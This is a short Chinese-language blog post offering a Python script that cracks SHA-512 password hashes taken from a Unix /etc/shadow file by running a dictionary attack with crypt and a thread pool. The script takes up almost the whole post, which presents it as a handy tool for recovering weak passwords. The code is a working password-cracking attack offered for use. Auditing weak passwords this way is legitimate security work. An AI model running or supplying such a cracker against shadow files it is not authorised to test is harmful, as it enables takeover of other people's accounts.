利用Python 破解类unix系统 /etc/shadow 文件hashed password

一个比较实用的脚本吧.
破解一些弱口令还行
其他的只能去md5相关网站交钱破解喽

还是要自备字典 和 待破解文件
password文件一定是从/etc/shadow 获取的哦

#!/usr/bin/env python
# coding=utf-8

#By LiT0

import crypt
import sys
from concurrent.futures import ThreadPoolExecutor

def testpasswd(user,crypt_pass,word):
    salt = crypt_pass.split('$')[2]
    insalt = '${}${}$'.format('6',salt)
    word = word.strip('\n')
    crypt_word = crypt.crypt(word,insalt)
    if crypt_pass == crypt_word:
        print ("[*] Successful Cracked user : {} ".format(user))
        print ("[+] Found Password: {}\n".format(word))
        return

def readpasswd():
    with open(sys.argv[1],'r') as passwd_file:
        for line in passwd_file:
            if ":" in line:
                user = line.split(':')[0]
                crypt_pass = line.split(':')[1].strip(' ')
                if len(crypt_pass) > 16:
                    with ThreadPoolExecutor(2) as Executor:
                        with open(sys.argv[2],'r') as dict_file:
                            for word in dict_file:
                                Executor.submit(testpasswd,user,crypt_pass,word)

    print ('[*] All Done!')

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print ("Usage:\n\t请准备好阴影文件和爆破字典\n\t如: ./nix_passwd.py password.txt dict.txt ")
        sys.exit(0)
    print ('[*] Runing... ...')
    readpasswd()

你可能感兴趣的:(python3,python,python,unix,python3)